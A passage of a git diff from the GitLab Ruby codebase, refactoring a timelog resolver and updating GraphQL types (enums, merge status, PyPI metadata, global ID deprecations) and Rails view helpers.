+ validate_time_difference!
+ apply_time_filter
+ end
- find_timelogs(transformed_args)
+ apply_lookahead(timelogs)
end
private
+ attr_reader :parsed_args, :timelogs
+
def preloads
{
note: [:note]
}
end
- def find_timelogs(args)
- apply_lookahead(group.timelogs(args[:start_time], args[:end_time]))
+ def validate_args!(args)
+ if args[:start_time] && args[:start_date]
+ raise_argument_error('Provide either a start date or time, but not both')
+ elsif args[:end_time] && args[:end_date]
+ raise_argument_error('Provide either an end date or time, but not both')
+ end
end
- def timelogs_available_for_user?
- group&.user_can_access_group_timelogs?(context[:current_user])
- end
+ def build_parsed_args(args)
+ if times_provided?(args)
+ @parsed_args = args
+ else
+ @parsed_args = args.except(:start_date, :end_date)
- def validate_params_presence!(args)
- message = case time_params_count(args)
- when 0
- 'Start and End arguments must be present'
- when 1
- 'Both Start and End arguments must be present'
- when 2
- validate_duplicated_args(args)
- when 3 || 4
- 'Only Time or Date arguments must be present'
- end
-
- raise_argument_error(message) if message
+ @parsed_args[:start_time] = args[:start_date].beginning_of_day if args[:start_date]
+ @parsed_args[:end_time] = args[:end_date].end_of_day if args[:end_date]
+ end
end
- def validate_time_difference!(args)
- message = if args[:end_time] < args[:start_time]
- 'Start argument must be before End argument'
- elsif args[:end_time] - args[:start_time] > 60.days
- 'The time range period cannot contain more than 60 days'
- end
-
- raise_argument_error(message) if message
+ def times_provided?(args)
+ args[:start_time] && args[:end_time]
end
- def transform_args(args)
- return args if args.keys == [:start_time, :end_time]
+ def validate_time_difference!
+ return unless end_time_before_start_time?
- time_args = args.except(:start_date, :end_date)
-
- if time_args.empty?
- time_args[:start_time] = args[:start_date].beginning_of_day
- time_args[:end_time] = args[:end_date].end_of_day
- elsif time_args.key?(:start_time)
- time_args[:end_time] = args[:end_date].end_of_day
- elsif time_args.key?(:end_time)
- time_args[:start_time] = args[:start_date].beginning_of_day
- end
+ raise_argument_error('Start argument must be before End argument')
+ end
- time_args
+ def end_time_before_start_time?
+ times_provided?(parsed_args) && parsed_args[:end_time] < parsed_args[:start_time]
end
- def time_params_count(args)
- [:start_time, :end_time, :start_date, :end_date].count { |param| args.key?(param) }
+ def build_timelogs
+ @timelogs = Timelog.in_group(object)
end
- def validate_duplicated_args(args)
- if args.key?(:start_time) && args.key?(:start_date) ||
- args.key?(:end_time) && args.key?(:end_date)
- 'Both Start and End arguments must be present'
- end
+ def apply_time_filter
+ @timelogs = timelogs.at_or_after(parsed_args[:start_time]) if parsed_args[:start_time]
+ @timelogs = timelogs.at_or_before(parsed_args[:end_time]) if parsed_args[:end_time]
end
def raise_argument_error(message)
raise Gitlab::Graphql::Errors::ArgumentError, message
end
-
- def group
- @group ||= object.respond_to?(:sync) ? object.sync : object
- end
end
end
diff --git a/app/graphql/types/base_enum.rb b/app/graphql/types/base_enum.rb
index 7ef1cbddbd9..d70236f16f9 100644
--- a/app/graphql/types/base_enum.rb
+++ b/app/graphql/types/base_enum.rb
@@ -2,7 +2,19 @@
module Types
class BaseEnum < GraphQL::Schema::Enum
- extend GitlabStyleDeprecations
+ class CustomValue < GraphQL::Schema::EnumValue
+ include ::GitlabStyleDeprecations
+
+ attr_reader :deprecation
+
+ def initialize(name, desc = nil, **kwargs)
+ @deprecation = gitlab_deprecation(kwargs)
+
+ super(name, desc, **kwargs)
+ end
+ end
+
+ enum_value_class(CustomValue)
class << self
# Registers enum definition by the given DeclarativeEnum module
@@ -41,7 +53,6 @@ module Types
def value(*args, **kwargs, &block)
enum[args[0].downcase] = kwargs[:value] || args[0]
- gitlab_deprecation(kwargs)
super(*args, **kwargs, &block)
end
diff --git a/app/graphql/types/ci/ci_cd_setting_type.rb b/app/graphql/types/ci/ci_cd_setting_type.rb
index b34a91446a2..f90c75454ba 100644
--- a/app/graphql/types/ci/ci_cd_setting_type.rb
+++ b/app/graphql/types/ci/ci_cd_setting_type.rb
@@ -16,6 +16,9 @@ module Types
field :keep_latest_artifact, GraphQL::BOOLEAN_TYPE, null: true,
description: 'Whether to keep the latest builds artifacts.',
method: :keep_latest_artifacts_available?
+ field :job_token_scope_enabled, GraphQL::BOOLEAN_TYPE, null: true,
+ description: 'Indicates CI job tokens generated in this project have restricted access to resources.',
+ method: :job_token_scope_enabled?
field :project, Types::ProjectType, null: true,
description: 'Project the CI/CD settings belong to.'
end
diff --git a/app/graphql/types/ci/runner_sort_enum.rb b/app/graphql/types/ci/runner_sort_enum.rb
index 550e870316a..95ec1867fea 100644
--- a/app/graphql/types/ci/runner_sort_enum.rb
+++ b/app/graphql/types/ci/runner_sort_enum.rb
@@ -7,7 +7,9 @@ module Types
description 'Values for sorting runners'
value 'CONTACTED_ASC', 'Ordered by contacted_at in ascending order.', value: :contacted_asc
- value 'CREATED_DESC', 'Ordered by created_date in descending order.', value: :created_date
+ value 'CONTACTED_DESC', 'Ordered by contacted_at in descending order.', value: :contacted_desc
+ value 'CREATED_ASC', 'Ordered by created_at in ascending order.', value: :created_at_asc
+ value 'CREATED_DESC', 'Ordered by created_at in descending order.', value: :created_at_desc
end
end
end
diff --git a/app/graphql/types/ci/runner_type.rb b/app/graphql/types/ci/runner_type.rb
index 3abed7289d5..837d91ef765 100644
--- a/app/graphql/types/ci/runner_type.rb
+++ b/app/graphql/types/ci/runner_type.rb
@@ -40,3 +40,5 @@ module Types
end
end
end
+
+Types::Ci::RunnerType.prepend_mod_with('Types::Ci::RunnerType')
diff --git a/app/graphql/types/ci/runner_type_enum.rb b/app/graphql/types/ci/runner_type_enum.rb
index f771635f4ed..12e87906179 100644
--- a/app/graphql/types/ci/runner_type_enum.rb
+++ b/app/graphql/types/ci/runner_type_enum.rb
@@ -5,10 +5,10 @@ module Types
class RunnerTypeEnum < BaseEnum
graphql_name 'CiRunnerType'
- ::Ci::Runner.runner_types.keys.each do |type|
- value type.upcase,
- description: "A runner that is #{type.tr('_', ' ')}.",
- value: type
+ ::Ci::Runner::AVAILABLE_TYPES.each do |runner_type|
+ value runner_type.upcase,
+ description: "A runner that is #{runner_type.tr('_', ' ')}.",
+ value: runner_type
end
end
end
diff --git a/app/graphql/types/deprecated_mutations.rb b/app/graphql/types/deprecated_mutations.rb
index a4336fa3ef3..49bad56b6f9 100644
--- a/app/graphql/types/deprecated_mutations.rb
+++ b/app/graphql/types/deprecated_mutations.rb
@@ -5,15 +5,7 @@ module Types
extend ActiveSupport::Concern
prepended do
- mount_aliased_mutation 'AddAwardEmoji',
- Mutations::AwardEmojis::Add,
- deprecated: { reason: 'Use awardEmojiAdd', milestone: '13.2' }
- mount_aliased_mutation 'RemoveAwardEmoji',
- Mutations::AwardEmojis::Remove,
- deprecated: { reason: 'Use awardEmojiRemove', milestone: '13.2' }
- mount_aliased_mutation 'ToggleAwardEmoji',
- Mutations::AwardEmojis::Toggle,
- deprecated: { reason: 'Use awardEmojiToggle', milestone: '13.2' }
+ # placeholder for any FOSS mutations to be deprecated
end
end
end
diff --git a/app/graphql/types/global_id_type.rb b/app/graphql/types/global_id_type.rb
index 79061df7282..c44c268b43f 100644
--- a/app/graphql/types/global_id_type.rb
+++ b/app/graphql/types/global_id_type.rb
@@ -52,11 +52,20 @@ module Types
@id_types ||= {}
@id_types[model_class] ||= Class.new(self) do
- graphql_name "#{model_class.name.gsub(/::/, '')}ID"
- description <<~MD
+ model_name = model_class.name
+
+ graphql_name model_name_to_graphql_name(model_name)
+ description <<~MD.strip
A `#{graphql_name}` is a global ID. It is encoded as a string.
- An example `#{graphql_name}` is: `"#{::Gitlab::GlobalId.build(model_name: model_class.name, id: 1)}"`.
+ An example `#{graphql_name}` is: `"#{::Gitlab::GlobalId.build(model_name: model_name, id: 1)}"`.
+ #{
+ if deprecation = Gitlab::GlobalId::Deprecations.deprecation_by(model_name)
+ 'The older format `"' +
+ ::Gitlab::GlobalId.build(model_name: deprecation.old_model_name, id: 1).to_s +
+ '"` was deprecated in ' + deprecation.milestone + '.'
+ end}
+
MD
define_singleton_method(:to_s) do
@@ -69,7 +78,7 @@ module Types
define_singleton_method(:as) do |new_name|
if @renamed && graphql_name != new_name
- raise "Conflicting names for ID of #{model_class.name}: " \
+ raise "Conflicting names for ID of #{model_name}: " \
"#{graphql_name} and #{new_name}"
end
@@ -79,11 +88,11 @@ module Types
end
define_singleton_method(:coerce_result) do |gid, ctx|
- global_id = ::Gitlab::GlobalId.as_global_id(gid, model_name: model_class.name)
+ global_id = ::Gitlab::GlobalId.as_global_id(gid, model_name: model_name)
next global_id.to_s if suitable?(global_id)
- raise GraphQL::CoercionError, "Expected a #{model_class.name} ID, got #{global_id}"
+ raise GraphQL::CoercionError, "Expected a #{model_name} ID, got #{global_id}"
end
define_singleton_method(:suitable?) do |gid|
@@ -97,9 +106,13 @@ module Types
gid = super(string, ctx)
next gid if suitable?(gid)
- raise GraphQL::CoercionError, "#{string.inspect} does not represent an instance of #{model_class.name}"
+ raise GraphQL::CoercionError, "#{string.inspect} does not represent an instance of #{model_name}"
end
end
end
+
+ def self.model_name_to_graphql_name(model_name)
+ "#{model_name.gsub(/::/, '')}ID"
+ end
end
end
diff --git a/app/graphql/types/label_type.rb b/app/graphql/types/label_type.rb
index cb6b0312aa3..4e8718a80da 100644
--- a/app/graphql/types/label_type.rb
+++ b/app/graphql/types/label_type.rb
@@ -23,7 +23,5 @@ module Types
description: 'When this label was created.'
field :updated_at, Types::TimeType, null: false,
description: 'When this label was last updated.'
- field :remove_on_close, GraphQL::BOOLEAN_TYPE, null: false,
- description: 'Whether the label should be removed from an issue when the issue is closed.'
end
end
diff --git a/app/graphql/types/member_interface.rb b/app/graphql/types/member_interface.rb
index 1c7257487d9..6a21e51fe28 100644
--- a/app/graphql/types/member_interface.rb
+++ b/app/graphql/types/member_interface.rb
@@ -22,7 +22,7 @@ module Types
field :expires_at, Types::TimeType, null: true,
description: 'Date and time the membership expires.'
- field :user, Types::UserType, null: false,
+ field :user, Types::UserType, null: true,
description: 'User that is associated with the member object.'
definition_methods do
diff --git a/app/graphql/types/merge_request_type.rb b/app/graphql/types/merge_request_type.rb
index 4eeeaa4f5d0..338b70bb0c6 100644
--- a/app/graphql/types/merge_request_type.rb
+++ b/app/graphql/types/merge_request_type.rb
@@ -82,7 +82,11 @@ module Types
field :force_remove_source_branch, GraphQL::BOOLEAN_TYPE, method: :force_remove_source_branch?, null: true,
description: 'Indicates if the project settings will lead to source branch deletion after merge.'
field :merge_status, GraphQL::STRING_TYPE, method: :public_merge_status, null: true,
- description: 'Status of the merge request.'
+ description: 'Status of the merge request.',
+ deprecated: { reason: :renamed, replacement: 'MergeRequest.mergeStatusEnum', milestone: '14.0' }
+ field :merge_status_enum, ::Types::MergeRequests::MergeStatusEnum,
+ method: :public_merge_status, null: true,
+ description: 'Merge status of the merge request.'
field :in_progress_merge_commit_sha, GraphQL::STRING_TYPE, null: true,
description: 'Commit SHA of the merge request if merge is in progress.'
field :merge_error, GraphQL::STRING_TYPE, null: true,
@@ -158,6 +162,10 @@ module Types
description: 'Time estimate of the merge request.'
field :total_time_spent, GraphQL::INT_TYPE, null: false,
description: 'Total time reported as spent on the merge request.'
+ field :human_time_estimate, GraphQL::STRING_TYPE, null: true,
+ description: 'Human-readable time estimate of the merge request.'
+ field :human_total_time_spent, GraphQL::STRING_TYPE, null: true,
+ description: 'Human-readable total time reported as spent on the merge request.'
field :reference, GraphQL::STRING_TYPE, null: false, method: :to_reference,
description: 'Internal reference of the merge request. Returned in shortened format by default.' do
argument :full, GraphQL::BOOLEAN_TYPE, required: false, default_value: false,
diff --git a/app/graphql/types/merge_requests/merge_status_enum.rb b/app/graphql/types/merge_requests/merge_status_enum.rb
new file mode 100644
index 00000000000..bb3e0f1a0c0
--- /dev/null
+++ b/app/graphql/types/merge_requests/merge_status_enum.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module Types
+ module MergeRequests
+ class MergeStatusEnum < BaseEnum
+ graphql_name 'MergeStatus'
+ description 'Representation of whether a GitLab merge request can be merged.'
+
+ value 'UNCHECKED',
+ value: 'unchecked',
+ description: 'Merge status has not been checked.'
+ value 'CHECKING',
+ value: 'checking',
+ description: 'Currently checking for mergeability.'
+ value 'CAN_BE_MERGED',
+ value: 'can_be_merged',
+ description: 'There are no conflicts between the source and target branches.'
+ value 'CANNOT_BE_MERGED',
+ value: 'cannot_be_merged',
+ description: 'There are conflicts between the source and target branches.'
+ value 'CANNOT_BE_MERGED_RECHECK',
+ value: 'cannot_be_merged_recheck',
+ description: 'Currently unchecked. The previous state was `CANNOT_BE_MERGED`.'
+ end
+ end
+end
diff --git a/app/graphql/types/mutation_type.rb b/app/graphql/types/mutation_type.rb
index 54a06ed5342..6b1146f8f09 100644
--- a/app/graphql/types/mutation_type.rb
+++ b/app/graphql/types/mutation_type.rb
@@ -99,6 +99,9 @@ module Types
mount_mutation Mutations::Ci::CiCdSettingsUpdate
mount_mutation Mutations::Ci::Job::Play
mount_mutation Mutations::Ci::Job::Retry
+ mount_mutation Mutations::Ci::Runner::Update, feature_flag: :runner_graphql_query
+ mount_mutation Mutations::Ci::Runner::Delete, feature_flag: :runner_graphql_query
+ mount_mutation Mutations::Ci::RunnersRegistrationToken::Reset, feature_flag: :runner_graphql_query
mount_mutation Mutations::Namespace::PackageSettings::Update
mount_mutation Mutations::UserCallouts::Create
end
diff --git a/app/graphql/types/packages/metadata_type.rb b/app/graphql/types/packages/metadata_type.rb
index 94880cb9b22..3b2257547b7 100644
--- a/app/graphql/types/packages/metadata_type.rb
+++ b/app/graphql/types/packages/metadata_type.rb
@@ -6,7 +6,7 @@ module Types
graphql_name 'PackageMetadata'
description 'Represents metadata associated with a Package'
- possible_types ::Types::Packages::Composer::MetadatumType, ::Types::Packages::Conan::MetadatumType, ::Types::Packages::Maven::MetadatumType, ::Types::Packages::Nuget::MetadatumType
+ possible_types ::Types::Packages::Composer::MetadatumType, ::Types::Packages::Conan::MetadatumType, ::Types::Packages::Maven::MetadatumType, ::Types::Packages::Nuget::MetadatumType, ::Types::Packages::Pypi::MetadatumType
def self.resolve_type(object, context)
case object
@@ -18,6 +18,8 @@ module Types
::Types::Packages::Maven::MetadatumType
when ::Packages::Nuget::Metadatum
::Types::Packages::Nuget::MetadatumType
+ when ::Packages::Pypi::Metadatum
+ ::Types::Packages::Pypi::MetadatumType
else
# NOTE: This method must be kept in sync with `PackageWithoutVersionsType#metadata`,
# which must never produce data that this discriminator cannot handle.
diff --git a/app/graphql/types/packages/package_group_sort_enum.rb b/app/graphql/types/packages/package_group_sort_enum.rb
index 70fb27ec0db..28a1bf85911 100644
--- a/app/graphql/types/packages/package_group_sort_enum.rb
+++ b/app/graphql/types/packages/package_group_sort_enum.rb
@@ -6,10 +6,8 @@ module Types
graphql_name 'PackageGroupSort'
description 'Values for sorting group packages'
- # The following enums are not available till we enable the new Arel node:
- # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58657#note_552632305
- # value 'PROJECT_PATH_DESC', 'Project by descending order.', value: :project_path_desc
- # value 'PROJECT_PATH_ASC', 'Project by ascending order.', value: :project_path_asc
+ value 'PROJECT_PATH_DESC', 'Ordered by project path in descending order.', value: :project_path_desc
+ value 'PROJECT_PATH_ASC', 'Ordered by project path in ascending order.', value: :project_path_asc
end
end
end
diff --git a/app/graphql/types/packages/package_type.rb b/app/graphql/types/packages/package_type.rb
index b349b655fa5..ee6785e3555 100644
--- a/app/graphql/types/packages/package_type.rb
+++ b/app/graphql/types/packages/package_type.rb
@@ -49,6 +49,8 @@ module Types
object.maven_metadatum
when 'nuget'
object.nuget_metadatum
+ when 'pypi'
+ object.pypi_metadatum
else
nil
end
diff --git a/app/graphql/types/packages/pypi/metadatum_type.rb b/app/graphql/types/packages/pypi/metadatum_type.rb
new file mode 100644
index 00000000000..031d3572197
--- /dev/null
+++ b/app/graphql/types/packages/pypi/metadatum_type.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Types
+ module Packages
+ module Pypi
+ class MetadatumType < BaseObject
+ graphql_name 'PypiMetadata'
+ description 'Pypi metadata'
+
+ authorize :read_package
+
+ field :id, ::Types::GlobalIDType[::Packages::Pypi::Metadatum], null: false, description: 'ID of the metadatum.'
+ field :required_python, GraphQL::STRING_TYPE, null: true, description: 'Required Python version of the Pypi package.'
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/project_type.rb b/app/graphql/types/project_type.rb
index a2852588e89..55dc73d898d 100644
--- a/app/graphql/types/project_type.rb
+++ b/app/graphql/types/project_type.rb
@@ -387,6 +387,10 @@ module Types
::Security::CiConfiguration::SastParserService.new(object).configuration
end
+ def tag_list
+ object.topic_list
+ end
+
private
def project
diff --git a/app/graphql/types/projects/service_type.rb b/app/graphql/types/projects/service_type.rb
index 9ce325c4655..6f0dcd44cad 100644
--- a/app/graphql/types/projects/service_type.rb
+++ b/app/graphql/types/projects/service_type.rb
@@ -15,7 +15,7 @@ module Types
definition_methods do
def resolve_type(object, context)
- if object.is_a?(::JiraService)
+ if object.is_a?(::Integrations::Jira)
Types::Projects::Services::JiraServiceType
else
Types::Projects::Services::BaseServiceType
diff --git a/app/graphql/types/projects/service_type_enum.rb b/app/graphql/types/projects/service_type_enum.rb
index 0a57cd48df4..9948fa8bb69 100644
--- a/app/graphql/types/projects/service_type_enum.rb
+++ b/app/graphql/types/projects/service_type_enum.rb
@@ -5,8 +5,8 @@ module Types
class ServiceTypeEnum < BaseEnum
graphql_name 'ServiceType'
- ::Integration.available_services_types(include_dev: false).each do |service_type|
- value service_type.underscore.upcase, value: service_type, description: "#{service_type} type"
+ ::Integration.available_services_types(include_dev: false).each do |type|
+ value type.underscore.upcase, value: type, description: "#{type} type"
end
end
end
diff --git a/app/graphql/types/snippet_type.rb b/app/graphql/types/snippet_type.rb
index 2f79ec48c04..34357ead048 100644
--- a/app/graphql/types/snippet_type.rb
+++ b/app/graphql/types/snippet_type.rb
@@ -61,12 +61,6 @@ module Types
description: 'Raw URL of the snippet.',
null: false
- field :blob, type: Types::Snippets::BlobType,
- description: 'Snippet blob.',
- calls_gitaly: true,
- null: false,
- deprecated: { reason: 'Use `blobs`', milestone: '13.3' }
-
field :blobs, type: Types::Snippets::BlobType.connection_type,
description: 'Snippet blobs.',
calls_gitaly: true,
diff --git a/app/graphql/types/snippets/blob_action_enum.rb b/app/graphql/types/snippets/blob_action_enum.rb
index e3f89920f16..0defd521acb 100644
--- a/app/graphql/types/snippets/blob_action_enum.rb
+++ b/app/graphql/types/snippets/blob_action_enum.rb
@@ -6,10 +6,10 @@ module Types
graphql_name 'SnippetBlobActionEnum'
description 'Type of a snippet blob input action'
- value 'create', value: :create
- value 'update', value: :update
- value 'delete', value: :delete
- value 'move', value: :move
+ value 'create', description: 'Create a snippet blob.', value: :create
+ value 'update', description: 'Update a snippet blob.', value: :update
+ value 'delete', description: 'Delete a snippet blob.', value: :delete
+ value 'move', description: 'Move a snippet blob.', value: :move
end
end
end
diff --git a/app/graphql/types/snippets/visibility_scopes_enum.rb b/app/graphql/types/snippets/visibility_scopes_enum.rb
index 5488e05b95d..ddcc005eaf2 100644
--- a/app/graphql/types/snippets/visibility_scopes_enum.rb
+++ b/app/graphql/types/snippets/visibility_scopes_enum.rb
@@ -3,9 +3,9 @@
module Types
module Snippets
class VisibilityScopesEnum < BaseEnum
- value 'private', value: 'are_private'
- value 'internal', value: 'are_internal'
- value 'public', value: 'are_public'
+ value 'private', description: 'The snippet is visible only to the snippet creator.', value: 'are_private'
+ value 'internal', description: 'The snippet is visible for any logged in user except external users.', value: 'are_internal'
+ value 'public', description: 'The snippet can be accessed without any authentication.', value: 'are_public'
end
end
end
diff --git a/app/graphql/types/timelog_type.rb b/app/graphql/types/timelog_type.rb
index 99a619f1b1d..925a522629e 100644
--- a/app/graphql/types/timelog_type.rb
+++ b/app/graphql/types/timelog_type.rb
@@ -4,7 +4,7 @@ module Types
class TimelogType < BaseObject
graphql_name 'Timelog'
- authorize :read_group_timelogs
+ authorize :read_issue
field :spent_at,
Types::TimeType,
diff --git a/app/helpers/admin/background_migrations_helper.rb b/app/helpers/admin/background_migrations_helper.rb
new file mode 100644
index 00000000000..698d81cc8a2
--- /dev/null
+++ b/app/helpers/admin/background_migrations_helper.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module Admin
+ module BackgroundMigrationsHelper
+ def batched_migration_status_badge_class_name(migration)
+ class_names = {
+ 'active' => 'badge-info',
+ 'paused' => 'badge-warning',
+ 'failed' => 'badge-danger',
+ 'finished' => 'badge-success'
+ }
+
+ class_names[migration.status]
+ end
+
+ # The extra logic here is needed because total_tuple_count is just
+ # an estimate and completed_rows also does not account for last jobs
+ # whose batch size is likely larger than the actual number of rows processed
+ def batched_migration_progress(migration, completed_rows)
+ return 100 if migration.finished?
+ return 0 unless completed_rows.to_i > 0
+ return unless migration.total_tuple_count.to_i > 0
+
+ [100 * completed_rows / migration.total_tuple_count, 99].min
+ end
+ end
+end
diff --git a/app/helpers/application_settings_helper.rb b/app/helpers/application_settings_helper.rb
index 0e3dff27da9..efdad22fa54 100644
--- a/app/helpers/application_settings_helper.rb
+++ b/app/helpers/application_settings_helper.rb
@@ -338,6 +338,8 @@ module ApplicationSettingsHelper
:version_check_enabled,
:web_ide_clientside_preview_enabled,
:diff_max_patch_bytes,
+ :diff_max_files,
+ :diff_max_lines,
:commit_email_hostname,
:protected_ci_variables,
:local_markdown_version,
@@ -368,7 +370,9 @@ module ApplicationSettingsHelper
:container_registry_cleanup_tags_service_max_list_size,
:keep_latest_artifact,
:whats_new_variant
- ]
+ ].tap do |settings|
+ settings << :deactivate_dormant_users unless Gitlab.com?
+ end
end
def external_authorization_service_attributes
diff --git a/app/helpers/clusters_helper.rb b/app/helpers/clusters_helper.rb
index 439628f40c6..14783882f5e 100644
--- a/app/helpers/clusters_helper.rb
+++ b/app/helpers/clusters_helper.rb
@@ -44,7 +44,7 @@ module ClustersHelper
base_domain: cluster.base_domain,
application_ingress_external_ip: cluster.application_ingress_external_ip,
auto_devops_help_path: help_page_path('topics/autodevops/index'),
- external_endpoint_help_path: help_page_path('user/clusters/applications.md', anchor: 'pointing-your-dns-at-the-external-endpoint')
+ external_endpoint_help_path: help_page_path('user/project/clusters/index.md', anchor: 'base-domain')
}
end
diff --git a/app/helpers/commits_helper.rb b/app/helpers/commits_helper.rb
index 9b952ad127e..a7696ba4ea7 100644
--- a/app/helpers/commits_helper.rb
+++ b/app/helpers/commits_helper.rb
@@ -137,8 +137,6 @@ module CommitsHelper
end
def cherry_pick_projects_data(project)
- return [] unless Feature.enabled?(:pick_into_project, project, default_enabled: :yaml)
-
[project, project.forked_from_project].compact.map do |project|
{
id: project.id.to_s,
@@ -160,8 +158,8 @@ module CommitsHelper
commit.author,
ref,
{
- merge_request: merge_request,
- pipeline_status: commit.status_for(ref),
+ merge_request: merge_request&.cache_key,
+ pipeline_status: commit.status_for(ref)&.cache_key,
xhr: request.xhr?,
controller: controller.controller_path,
path: @path # referred to in #link_to_browse_code
diff --git a/app/helpers/dropdowns_helper.rb b/app/helpers/dropdowns_helper.rb
index c2f7fa2074c..0092743f96e 100644
--- a/app/helpers/dropdowns_helper.rb
+++ b/app/helpers/dropdowns_helper.rb
@@ -102,7 +102,7 @@ module DropdownsHelper
def dropdown_filter(placeholder, search_id: nil)
content_tag :div, class: "dropdown-input" do
- filter_output = search_field_tag search_id, nil, data: { qa_selector: "dropdown_input_field" }, class: "dropdown-input-field", placeholder: placeholder, autocomplete: 'off'
+ filter_output = search_field_tag search_id, nil, data: { qa_selector: "dropdown_input_field" }, id: nil, class: "dropdown-input-field", placeholder: placeholder, autocomplete: 'off'
filter_output << sprite_icon('search', css_class: 'dropdown-input-search')
filter_output << sprite_icon('close', size: 16, css_class: 'dropdown-input-clear js-dropdown-input-clear')
diff --git a/app/helpers/environments_helper.rb b/app/helpers/environments_helper.rb
index 594c6fedef1..5927c82abe9 100644
--- a/app/helpers/environments_helper.rb
+++ b/app/helpers/environments_helper.rb
@@ -36,7 +36,7 @@ module EnvironmentsHelper
"environment_name": environment.name,
"environments_path": api_v4_projects_environments_path(id: project.id),
"environment_id": environment.id,
- "cluster_applications_documentation_path" => help_page_path('user/clusters/applications.md', anchor: 'elastic-stack'),
+ "cluster_applications_documentation_path" => help_page_path('user/clusters/integrations.md', anchor: 'elastic-stack-cluster-integration'),
"clusters_path": project_clusters_path(project, format: :json)
}
end
@@ -74,7 +74,6 @@ module EnvironmentsHelper
'metrics_dashboard_base_path' => metrics_dashboard_base_path(environment, project),
'current_environment_name' => environment.name,
'has_metrics' => "#{environment.has_metrics?}",
- 'prometheus_status' => "#{environment.prometheus_status}",
'environment_state' => "#{environment.state}"
}
end
diff --git a/app/helpers/events_helper.rb b/app/helpers/events_helper.rb
index 03c3ee3363d..cd70c6f3962 100644
--- a/app/helpers/events_helper.rb
+++ b/app/helpers/events_helper.rb
@@ -157,7 +157,7 @@ module EventsHelper
project_commit_url(event.project,
id: event.commit_to)
end
- else
+ elsif event.ref_name
project_commits_url(event.project,
event.ref_name)
end
diff --git a/app/helpers/form_helper.rb b/app/helpers/form_helper.rb
index cf3e99eee49..9b4d0c0b9b3 100644
--- a/app/helpers/form_helper.rb
+++ b/app/helpers/form_helper.rb
@@ -2,19 +2,29 @@
module FormHelper
def form_errors(model, type: 'form', truncate: [])
- return unless model.errors.any?
+ errors = model.errors
+
+ return unless errors.any?
+
+ headline = n_(
+ 'The %{type} contains the following error:',
+ 'The %{type} contains the following errors:',
+ errors.count
+ ) % { type: type }
- headline = n_('The %{type} contains the following error:', 'The %{type} contains the following errors:', model.errors.count) % { type: type }
truncate = Array.wrap(truncate)
- content_tag(:div, class: 'alert alert-danger', id: 'error_explanation') do
- content_tag(:h4, headline) <<
- content_tag(:ul) do
- messages = model.errors.map do |attribute, message|
- message = html_escape_once(model.errors.full_message(attribute, message)).html_safe
- message = content_tag(:span, message, class: 'str-truncated-100') if truncate.include?(attribute)
+ tag.div(class: 'alert alert-danger', id: 'error_explanation') do
+ tag.h4(headline) <<
+ tag.ul do
+ messages = errors.map do |error|
+ attribute = error.attribute
+ message = error.message
+
+ message = html_escape_once(errors.full_message(attribute, message)).html_safe
+ message = tag.span(message, class: 'str-truncated-100') if truncate.include?(attribute)
- content_tag(:li, message)
+ tag.li(message)
end
messages.join.html_safe
diff --git a/app/helpers/gitlab_script_tag_helper.rb b/app/helpers/gitlab_script_tag_helper.rb
index 467f3f7305b..f784bb69dd8 100644
--- a/app/helpers/gitlab_script_tag_helper.rb
+++ b/app/helpers/gitlab_script_tag_helper.rb
@@ -21,4 +21,12 @@ module GitlabScriptTagHelper
super
end
+
+ def preload_link_tag(source, options = {})
+ # Chrome requires a nonce, see https://gitlab.com/gitlab-org/gitlab/-/issues/331810#note_584964908
+ # It's likely to be a browser bug, but we need to work around it anyway
+ options[:nonce] = content_security_policy_nonce
+
+ super
+ end
end
diff --git a/app/helpers/gitpod_helper.rb b/app/helpers/gitpod_helper.rb
index 875a44c51bb..726c852fcdd 100644
--- a/app/helpers/gitpod_helper.rb
+++ b/app/helpers/gitpod_helper.rb
@@ -2,6 +2,6 @@
module GitpodHelper
def gitpod_enable_description
- s_('Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab.')
+ s_('Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled.')
end
end
diff --git a/app/helpers/groups/group_members_helper.rb b/app/helpers/groups/group_members_helper.rb
index 79191616c8f..c4d920dc317 100644
--- a/app/helpers/groups/group_members_helper.rb
+++ b/app/helpers/groups/group_members_helper.rb
@@ -13,12 +13,15 @@ module Groups::GroupMembersHelper
render 'shared/members/invite_member', submit_url: group_group_members_path(group), access_levels: group.access_level_roles, default_access_level: default_access_level
end
- def group_members_list_data_json(group, members, pagination = {})
- group_members_list_data(group, members, pagination).to_json
- end
-
- def group_group_links_list_data_json(group)
- group_group_links_list_data(group).to_json
+ def group_members_app_data_json(group, members:, invited:, access_requests:)
+ {
+ user: group_members_list_data(group, members, { param_name: :page, params: { invited_members_page: nil, search_invited: nil } }),
+ group: group_group_links_list_data(group),
+ invite: group_members_list_data(group, invited.nil? ? [] : invited, { param_name: :invited_members_page, params: { page: nil } }),
+ access_request: group_members_list_data(group, access_requests.nil? ? [] : access_requests),
+ source_id: group.id,
+ can_manage_members: can?(current_user, :admin_group_member, group)
+ }.to_json
end
private
@@ -32,13 +35,11 @@ module Groups::GroupMembersHelper
end
# Overridden in `ee/app/helpers/ee/groups/group_members_helper.rb`
- def group_members_list_data(group, members, pagination)
+ def group_members_list_data(group, members, pagination = {})
{
members: group_members_serialized(group, members),
pagination: members_pagination_data(members, pagination),
- member_path: group_group_member_path(group, ':id'),
- source_id: group.id,
- can_manage_members: can?(current_user, :admin_group_member, group)
+ member_path: group_group_member_path(group, ':id')
}
end
@@ -48,8 +49,7 @@ module Groups::GroupMembersHelper
{
members: group_group_links_serialized(group_links),
pagination: members_pagination_data(group_links),
- member_path: group_group_link_path(group, ':id'),
- source_id: group.id
+ member_path: group_group_link_path(group, ':id')
}
end
end
diff --git a/app/helpers/groups_helper.rb b/app/helpers/groups_helper.rb
index 8f647a49a64..26a5df321cd 100644
--- a/app/helpers/groups_helper.rb
+++ b/app/helpers/groups_helper.rb
@@ -3,14 +3,16 @@
module GroupsHelper
def group_overview_nav_link_paths
%w[
- groups#show
- groups#details
groups#activity
groups#subgroups
].tap do |paths|
- break paths if Feature.disabled?(:sidebar_refactor, current_user, default_enabled: :yaml)
+ extra_routes = if sidebar_refactor_disabled?
+ ['groups#show', 'groups#details']
+ else
+ ['labels#index', 'group_members#index']
+ end
- paths.concat(['labels#index', 'group_members#index'])
+ paths.concat(extra_routes)
end
end
